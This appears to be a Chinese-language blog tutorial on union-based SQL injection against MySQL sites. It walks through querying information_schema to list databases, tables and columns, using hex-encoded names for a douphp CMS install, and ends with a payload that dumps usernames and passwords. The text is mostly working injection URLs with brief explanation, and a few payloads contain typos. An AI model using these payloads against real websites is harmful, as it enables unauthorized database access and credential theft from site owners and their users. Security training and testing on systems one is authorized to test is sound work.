首先先介绍一下数据库默认库information_schema中的一些重要表
- information中有三个重要的表,我们可以通过这些表得道自己想要的库名字、表名字、字段名字
1)information_schema.schemata- schemata 表中重要字段为 schema_name ,此字段中涵盖数据库存在的所有的库名字,我们可以通过一些查询语句得知我们想要的数据库都有哪些(database()只可以得知当前数据库我们就不进行讨论了)
例:
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
由于目标网站只能显示一行内容,所以我们可以使用 group_concat()将所有的结果连接出来显示为一行,效果如下:

此处使用的联表查询如果有不明白的可以私信我哈
2)information_schema.tables
- tables表中重要字段为 table_schema(库名)以及table_name(表名)。我们可以通过一些查询语句得到我们想要的库名或者是表名,不过这里面的table_schema会与表字段table_name一一对应,造成大量重复内容,所以如果单单宝库建议大家使用schemata库进行查询
- `例:?id=-1 union select 1,group_concat(table_schema),group_concat(table_name) from nformation_schema.tables --+
如上图所示,第二行内容显示的便是库名,有许多重复,现假设我们知道数据库为douphp,我们可以单独设立条件并爆出douphp数据库内的表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 0x646F75706870--+
需要注意的是,若是想通过匹配库爆表,需要将库名转换成哈希值或者是二进制,否则有些时候会被转义从而报错
3)information_schema.columns
columns表中存在三个重要字段,分别为table_schema(库名字段)、
table_name(表明字段)以及column_name(字段)
大家也可以直接利用这个表对数据库进行宝库爆表操作,只是这里面的库字段以及表字段同样会有很多的重复,所以并不建议大家这么做。
假设我们知道库名为douphp并且通过爆表得知dou_admin 表,现我们对表字段进行爆破
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemalike 0x646F75706870 and table_name like 0x646F755F61646D696E--+
需要注意的是,我在这里将库douphp以及dou_admin 都进行了转换,在这里为大家展示的是基于int型的注入,所以如果不进行转换加上单引号也可以,但是若是基于错误型单引号的报错就需要进行转换了,所以在这里建议大家下载小葵多功能转换器进行转换
4)接下来就是对内容进行爆破,也就是所谓的爆数据
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
在这里面,由于数据库查询机制,想要查询表内容首先你必须在当前数据库下才可以,我们这里不做多余赘述,若是想查询其他库下表字段内容需要更多的操作,由于笔者水平有限在这里暂时不为大家讲解
以上是需要有数据库报错的才行,仅供大家参考